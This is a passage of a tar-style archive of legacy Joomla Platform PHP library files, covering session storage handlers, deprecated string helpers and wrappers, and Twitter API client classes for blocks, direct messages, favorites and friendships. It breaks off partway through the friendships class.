if (!headers_sent())
{
ini_set('session.save_handler', 'wincache');
}
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return extension_loaded('wincache') &&
function_exists('wincache_ucache_get') &&
!strcmp(ini_get('wincache.ucenabled'), '1');
}
}
session/storage/xcache.php000064400000004321151171674140011646
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* XCache session storage handler
*
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageXcache extends JSessionStorage
{
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('XCache Extension is not
available', 404);
}
parent::__construct($options);
}
/**
* Read the data for a particular session identifier from the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.7.0
*/
public function read($id)
{
$sess_id = 'sess_' . $id;
// Check if id exists
if (!xcache_isset($sess_id))
{
return;
}
return (string) xcache_get($sess_id);
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $sessionData The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function write($id, $sessionData)
{
$sess_id = 'sess_' . $id;
return xcache_set($sess_id, $sessionData,
ini_get('session.gc_maxlifetime'));
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function destroy($id)
{
$sess_id = 'sess_' . $id;
if (!xcache_isset($sess_id))
{
return true;
}
return xcache_unset($sess_id);
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return extension_loaded('xcache');
}
}
session/storage.php000064400000011506151171674140010416 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Custom session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
abstract class JSessionStorage
{
/**
* @var JSessionStorage[] JSessionStorage instances container.
* @since 1.7.3
*/
protected static $instances = array();
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.7.0
*/
public function __construct($options = array())
{
$this->register($options);
}
/**
* Returns a session storage handler object, only creating it if it
doesn't already exist.
*
* @param string $name The session store to instantiate
* @param array $options Array of options
*
* @return JSessionStorage
*
* @since 1.7.0
* @throws JSessionExceptionUnsupported
*/
public static function getInstance($name = 'none', $options =
array())
{
$name = strtolower(JFilterInput::getInstance()->clean($name,
'word'));
if (empty(self::$instances[$name]))
{
/** @var JSessionStorage $class */
$class = 'JSessionStorage' . ucfirst($name);
if (!class_exists($class))
{
$path = __DIR__ . '/storage/' . $name . '.php';
if (!file_exists($path))
{
throw new JSessionExceptionUnsupported('Unable to load session
storage class: ' . $name);
}
JLoader::register($class, $path);
// The class should now be loaded
if (!class_exists($class))
{
throw new JSessionExceptionUnsupported('Unable to load session
storage class: ' . $name);
}
}
// Validate the session storage is supported on this platform
if (!$class::isSupported())
{
throw new JSessionExceptionUnsupported(sprintf('The %s Session
Storage is not supported on this platform.', $name));
}
self::$instances[$name] = new $class($options);
}
return self::$instances[$name];
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 1.7.0
*/
public function register()
{
if (!headers_sent())
{
session_set_save_handler(
array($this, 'open'),
array($this, 'close'),
array($this, 'read'),
array($this, 'write'),
array($this, 'destroy'),
array($this, 'gc')
);
}
}
/**
* Open the SessionHandler backend.
*
* @param string $savePath The path to the session object.
* @param string $sessionName The name of the session.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function open($savePath, $sessionName)
{
return true;
}
/**
* Close the SessionHandler backend.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function close()
{
return true;
}
/**
* Read the data for a particular session identifier from the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.7.0
*/
public function read($id)
{
return;
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $sessionData The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function write($id, $sessionData)
{
return true;
}
/**
* Destroy the data for a particular session identifier in the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function destroy($id)
{
return true;
}
/**
* Garbage collect stale sessions from the SessionHandler backend.
*
* @param integer $maxlifetime The maximum age of a session.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function gc($maxlifetime = null)
{
return true;
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return true;
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
* @deprecated 4.0 - Use JSessionStorage::isSupported() instead.
*/
public static function test()
{
JLog::add('JSessionStorage::test() is deprecated. Use
JSessionStorage::isSupported() instead.', JLog::WARNING,
'deprecated');
return static::isSupported();
}
}
string/string.php000064400000004154151171674140010104 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage String
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\String\StringHelper;
/**
* String handling class for utf-8 data
* Wraps the phputf8 library
* All functions assume the validity of utf-8 strings.
*
* @since 1.7.0
* @deprecated 4.0 Use {@link \Joomla\String\StringHelper} instead unless
otherwise noted.
*/
abstract class JString extends StringHelper
{
/**
* Split a string in camel case format
*
* "FooBarABCDef" becomes array("Foo",
"Bar", "ABC", "Def");
* "JFooBar" becomes array("J",
"Foo", "Bar");
* "J001FooBar002" becomes array("J001",
"Foo", "Bar002");
* "abcDef" becomes array("abc",
"Def");
* "abc_defGhi_Jkl" becomes array("abc_def",
"Ghi_Jkl");
* "ThisIsA_NASAAstronaut" becomes array("This",
"Is", "A_NASA", "Astronaut")),
* "JohnFitzgerald_Kennedy" becomes array("John",
"Fitzgerald_Kennedy")),
*
* @param string $string The source string.
*
* @return array The splitted string.
*
* @deprecated 4.0 - Use JStringNormalise::fromCamelCase()
* @since 1.7.3
*/
public static function splitCamelCase($string)
{
JLog::add('JString::splitCamelCase has been deprecated. Use
JStringNormalise::fromCamelCase.', JLog::WARNING,
'deprecated');
return JStringNormalise::fromCamelCase($string, true);
}
/**
* Does a UTF-8 safe version of PHP parse_url function
*
* @param string $url URL to parse
*
* @return mixed Associative array or false if badly formed URL.
*
* @link http://us3.php.net/manual/en/function.parse-url.php
* @since 1.7.0
* @deprecated 4.0 (CMS) - Use {@link \Joomla\Uri\UriHelper::parse_url()}
instead.
*/
public static function parse_url($url)
{
JLog::add('JString::parse_url has been deprecated. Use
\\Joomla\\Uri\\UriHelper::parse_url.', JLog::WARNING,
'deprecated');
return \Joomla\Uri\UriHelper::parse_url($url);
}
}
string/wrapper/normalise.php000064400000005572151171674140012254
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage String
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Wrapper class for JStringNormalise
*
* @package Joomla.Platform
* @subpackage String
* @since 3.4
* @deprecated 4.0 Will be removed without replacement
*/
class JStringWrapperNormalise
{
/**
* Helper wrapper method for fromCamelCase
*
* @param string $input The string input (ASCII only).
* @param boolean $grouped Optionally allows splitting on groups of
uppercase characters.
*
* @return mixed The space separated string or an array of substrings if
grouped is true.
*
* @see JUserHelper::fromCamelCase()
* @since 3.4
*/
public function fromCamelCase($input, $grouped = false)
{
return JStringNormalise::fromCamelCase($input, $grouped);
}
/**
* Helper wrapper method for toCamelCase
*
* @param string $input The string input (ASCII only).
*
* @return string The camel case string.
*
* @see JUserHelper::toCamelCase()
* @since 3.4
*/
public function toCamelCase($input)
{
return JStringNormalise::toCamelCase($input);
}
/**
* Helper wrapper method for toDashSeparated
*
* @param string $input The string input (ASCII only).
*
* @return string The dash separated string.
*
* @see JUserHelper::toDashSeparated()
* @since 3.4
*/
public function toDashSeparated($input)
{
return JStringNormalise::toDashSeparated($input);
}
/**
* Helper wrapper method for toSpaceSeparated
*
* @param string $input The string input (ASCII only).
*
* @return string The space separated string.
*
* @see JUserHelper::toSpaceSeparated()
* @since 3.4
*/
public function toSpaceSeparated($input)
{
return JStringNormalise::toSpaceSeparated($input);
}
/**
* Helper wrapper method for toUnderscoreSeparated
*
* @param string $input The string input (ASCII only).
*
* @return string The underscore separated string.
*
* @see JUserHelper::toUnderscoreSeparated()
* @since 3.4
*/
public function toUnderscoreSeparated($input)
{
return JStringNormalise::toUnderscoreSeparated($input);
}
/**
* Helper wrapper method for toVariable
*
* @param string $input The string input (ASCII only).
*
* @return string The variable string.
*
* @see JUserHelper::toVariable()
* @since 3.4
*/
public function toVariable($input)
{
return JStringNormalise::toVariable($input);
}
/**
* Helper wrapper method for toKey
*
* @param string $input The string input (ASCII only).
*
* @return string The key string.
*
* @see JUserHelper::toKey()
* @since 3.4
*/
public function toKey($input)
{
return JStringNormalise::toKey($input);
}
}
string/wrapper/punycode.php000064400000004675151171674140012114
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage String
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JLoader::register('idna_convert', JPATH_LIBRARIES .
'/idna_convert/idna_convert.class.php');
/**
* Wrapper class for JStringPunycode
*
* @package Joomla.Platform
* @subpackage String
* @since 3.4
* @deprecated 4.0 Will be removed without replacement
*/
class JStringWrapperPunycode
{
/**
* Helper wrapper method for toPunycode
*
* @param string $utfString The UTF-8 string to transform.
*
* @return string The punycode string.
*
* @see JUserHelper::toPunycode()
* @since 3.4
*/
public function toPunycode($utfString)
{
return JStringPunycode::toPunycode($utfString);
}
/**
* Helper wrapper method for fromPunycode
*
* @param string $punycodeString The Punycode string to transform.
*
* @return string The UF-8 URL.
*
* @see JUserHelper::fromPunycode()
* @since 3.4
*/
public function fromPunycode($punycodeString)
{
return JStringPunycode::fromPunycode($punycodeString);
}
/**
* Helper wrapper method for urlToPunycode
*
* @param string $uri The UTF-8 URL to transform.
*
* @return string The punycode URL.
*
* @see JUserHelper::urlToPunycode()
* @since 3.4
*/
public function urlToPunycode($uri)
{
return JStringPunycode::urlToPunycode($uri);
}
/**
* Helper wrapper method for urlToUTF8
*
* @param string $uri The Punycode URL to transform.
*
* @return string The UTF-8 URL.
*
* @see JStringPunycode::urlToUTF8()
* @since 3.4
*/
public function urlToUTF8($uri)
{
return JStringPunycode::urlToUTF8($uri);
}
/**
* Helper wrapper method for emailToPunycode
*
* @param string $email The UTF-8 email to transform.
*
* @return string The punycode email.
*
* @see JStringPunycode::emailToPunycode()
* @since 3.4
*/
public function emailToPunycode($email)
{
return JStringPunycode::emailToPunycode($email);
}
/**
* Helper wrapper method for emailToUTF8
*
* @param string $email The punycode email to transform.
*
* @return string The punycode email.
*
* @see JStringPunycode::emailToUTF8()
* @since 3.4
*/
public function emailToUTF8($email)
{
return JStringPunycode::emailToUTF8($email);
}
}
twitter/block.php000064400000011407151171674140010063 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Block class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterBlock extends JTwitterObject
{
/**
* Method to get the user ids the authenticating user is blocking.
*
* @param boolean $stringifyIds Provide this option to have ids
returned as strings instead.
* @param integer $cursor Causes the list of IDs to be broken
into pages of no more than 5000 IDs at a time. The number of IDs returned
* is not guaranteed to be 5000 as
suspended users are filtered out after connections are queried. If no
cursor
* is provided, a value of -1 will be
assumed, which is the first "page."
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getBlocking($stringifyIds = null, $cursor = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('blocks', 'ids');
$data = array();
// Check if stringify_ids is specified
if (!is_null($stringifyIds))
{
$data['stringify_ids'] = $stringifyIds;
}
// Check if cursor is specified
if (!is_null($stringifyIds))
{
$data['cursor'] = $cursor;
}
// Set the API path
$path = '/blocks/ids.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to block the specified user from following the authenticating
user.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a
discreet structure, including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function block($user, $entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('blocks', 'create');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_statuses is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Set the API path
$path = '/blocks/create.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to unblock the specified user from following the authenticating
user.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a
discreet structure, including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function unblock($user, $entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('blocks', 'destroy');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_statuses is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Set the API path
$path = '/blocks/destroy.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
twitter/directmessages.php000064400000014242151171674140011773
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Direct Messages class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterDirectmessages extends JTwitterObject
{
/**
* Method to get the most recent direct messages sent to the
authenticating user.
*
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than
(that is, older than) or equal to the specified ID.
* @param integer $count Specifies the number of direct messages
to try and retrieve, up to a maximum of 200.
* @param boolean $entities When set to true, each tweet will
include a node called "entities,". This node offers a variety of
metadata
* about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getDirectMessages($sinceId = 0, $maxId = 0, $count = 20,
$entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('direct_messages');
// Set the API path
$path = '/direct_messages.json';
// Check if since_id is specified.
if ($sinceId)
{
$data['since_id'] = $sinceId;
}
// Check if max_id is specified.
if ($maxId)
{
$data['max_id'] = $maxId;
}
// Check if count is specified.
if ($count)
{
$data['count'] = $count;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified.
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the most recent direct messages sent by the
authenticating user.
*
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than (that
is, older than) or equal to the specified ID.
* @param integer $count Specifies the number of direct messages to
try and retrieve, up to a maximum of 200.
* @param integer $page Specifies the page of results to retrieve.
* @param boolean $entities When set to true, each tweet will include
a node called "entities,". This node offers a variety of metadata
* about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSentDirectMessages($sinceId = 0, $maxId = 0, $count =
20, $page = 0, $entities = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('direct_messages', 'sent');
// Set the API path
$path = '/direct_messages/sent.json';
// Check if since_id is specified.
if ($sinceId)
{
$data['since_id'] = $sinceId;
}
// Check if max_id is specified.
if ($maxId)
{
$data['max_id'] = $maxId;
}
// Check if count is specified.
if ($count)
{
$data['count'] = $count;
}
// Check if page is specified.
if ($page)
{
$data['page'] = $page;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to send a new direct message to the specified user from the
authenticating user.
*
* @param mixed $user Either an integer containing the user ID or a
string containing the screen name.
* @param string $text The text of your direct message. Be sure to
keep the message under 140 characters.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function sendDirectMessages($user, $text)
{
// Set the API path
$path = '/direct_messages/new.json';
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
$data['text'] = $text;
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to get a single direct message, specified by an id parameter.
*
* @param integer $id The ID of the direct message.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getDirectMessagesById($id)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('direct_messages', 'show');
// Set the API path
$path = '/direct_messages/show.json';
$data['id'] = $id;
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to delete the direct message specified in the required ID
parameter.
*
* @param integer $id The ID of the direct message.
* @param boolean $entities When set to true, each tweet will include
a node called "entities,". This node offers a variety of metadata
* about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function deleteDirectMessages($id, $entities = null)
{
// Set the API path
$path = '/direct_messages/destroy.json';
$data['id'] = $id;
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
twitter/favorites.php000064400000007674151171674140011006 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Favorites class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterFavorites extends JTwitterObject
{
/**
* Method to get the most recent favorite statuses for the authenticating
or specified user.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param integer $count Specifies the number of tweets to try and
retrieve, up to a maximum of 200. Retweets are always included
* in the count, so it is always suggested to
set $includeRts to true
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than (that
is, older than) the specified ID.
* @param boolean $entities When set to true, each tweet will include
a node called "entities,". This node offers a variety
* of metadata about the tweet in a discreet structure, including:
user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getFavorites($user = null, $count = 20, $sinceId = 0,
$maxId = 0, $entities = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('favorites', 'list');
// Set the API path.
$path = '/favorites/list.json';
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
// Set the count string
$data['count'] = $count;
// Check if since_id is specified.
if ($sinceId > 0)
{
$data['since_id'] = $sinceId;
}
// Check if max_id is specified.
if ($maxId > 0)
{
$data['max_id'] = $maxId;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to favorite the status specified in the ID parameter as the
authenticating user
*
* @param integer $id The numerical ID of the desired status.
* @param boolean $entities When set to true, each tweet will include
a node called "entities,". This node offers a variety
* of metadata about the tweet in a discreet structure, including:
user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function createFavorites($id, $entities = null)
{
// Set the API path.
$path = '/favorites/create.json';
$data['id'] = $id;
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to un-favorites the status specified in the ID parameter as the
authenticating user.
*
* @param integer $id The numerical ID of the desired status.
* @param boolean $entities When set to true, each tweet will include
a node called "entities,". This node offers a variety
* of metadata about the tweet in a discreet structure, including:
user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function deleteFavorites($id, $entities = null)
{
// Set the API path.
$path = '/favorites/destroy.json';
$data['id'] = $id;
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
twitter/friends.php000064400000031416151171674140010425 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Friends class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterFriends extends JTwitterObject
{
/**
* Method to get an array of user IDs the specified user follows.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param integer $cursor Causes the list of connections to be
broken into pages of no more than 5000 IDs at a time.
* The number of IDs returned is not guaranteed to be 5000 as
suspended users are filtered out
* after connections are queried. If no cursor is provided, a
value of -1 will be assumed, which is the first "page."
* @param boolean $stringIds Set to true to return IDs as strings,
false to return as integers.
* @param integer $count Specifies the number of IDs attempt
retrieval of, up to a maximum of 5,000 per distinct request.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getFriendIds($user, $cursor = null, $stringIds = null,
$count = 0)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friends', 'ids');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if string_ids is true
if ($stringIds)
{
$data['stringify_ids'] = $stringIds;
}
// Check if count is specified
if ($count > 0)
{
$data['count'] = $count;
}
// Set the API path
$path = '/friends/ids.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to display detailed friend information between two users.
*
* @param mixed $userA Either an integer containing the user ID or a
string containing the screen name of the first user.
* @param mixed $userB Either an integer containing the user ID or a
string containing the screen name of the second user.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getFriendshipDetails($userA, $userB)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friendships', 'show');
// Determine which type of data was passed for $userA
if (is_numeric($userA))
{
$data['source_id'] = $userA;
}
elseif (is_string($userA))
{
$data['source_screen_name'] = $userA;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The first specified username is not in
the correct format; must use integer or string');
}
// Determine which type of data was passed for $userB
if (is_numeric($userB))
{
$data['target_id'] = $userB;
}
elseif (is_string($userB))
{
$data['target_screen_name'] = $userB;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The second specified username is not in
the correct format; must use integer or string');
}
// Set the API path
$path = '/friendships/show.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get an array of user IDs the specified user is followed by.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param integer $cursor Causes the list of IDs to be broken into
pages of no more than 5000 IDs at a time. The number of IDs returned
* is not guaranteed to be 5000 as suspended
users are filtered out after connections are queried. If no cursor
* is provided, a value of -1 will be assumed, which is the first
"page."
* @param boolean $stringIds Set to true to return IDs as strings,
false to return as integers.
* @param integer $count Specifies the number of IDs attempt
retrieval of, up to a maximum of 5,000 per distinct request.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getFollowerIds($user, $cursor = null, $stringIds = null,
$count = 0)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('followers', 'ids');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/followers/ids.json';
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if string_ids is specified
if (!is_null($stringIds))
{
$data['stringify_ids'] = $stringIds;
}
// Check if count is specified
if (!is_null($count))
{
$data['count'] = $count;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to determine pending requests to follow the authenticating user.
*
* @param integer $cursor Causes the list of IDs to be broken into
pages of no more than 5000 IDs at a time. The number of IDs returned
* is not guaranteed to be 5000 as suspended users are filtered
out after connections are queried. If no cursor
* is provided, a value of -1 will be assumed, which is the first
"page."
* @param boolean $stringIds Set to true to return IDs as strings,
false to return as integers.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getFriendshipsIncoming($cursor = null, $stringIds = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friendships', 'incoming');
$data = array();
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if string_ids is specified
if (!is_null($stringIds))
{
$data['stringify_ids'] = $stringIds;
}
// Set the API path
$path = '/friendships/incoming.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to determine every protected user for whom the authenticating
user has a pending follow request.
*
* @param integer $cursor Causes the list of IDs to be broken into
pages of no more than 5000 IDs at a time. The number of IDs returned
* is not guaranteed to be 5000 as suspended users are filtered
out after connections are queried. If no cursor
* is provided, a value of -1 will be
assumed, which is the first "page."
* @param boolean $stringIds Set to true to return IDs as strings,
false to return as integers.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getFriendshipsOutgoing($cursor = null, $stringIds = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friendships', 'outgoing');
$data = array();
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if string_ids is specified
if (!is_null($stringIds))
{
$data['stringify_ids'] = $stringIds;
}
// Set the API path
$path = '/friendships/outgoing.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Allows the authenticating users to follow the user specified in the ID
parameter.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the screen name.
* @param boolean $follow Enable notifications for the target user.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function follow($user, $follow = false)
{
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if follow is true
if ($follow)
{
$data['follow'] = $follow;
}
// Set the API path
$path = '/friendships/create.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Allows the authenticating users to unfollow the user specified in the
ID parameter.
*
* @param mixed $user Either an integer containing the user ID or a
string containing the screen name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function unfollow($user)
{
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/friendships/destroy.json';
// Send the request.
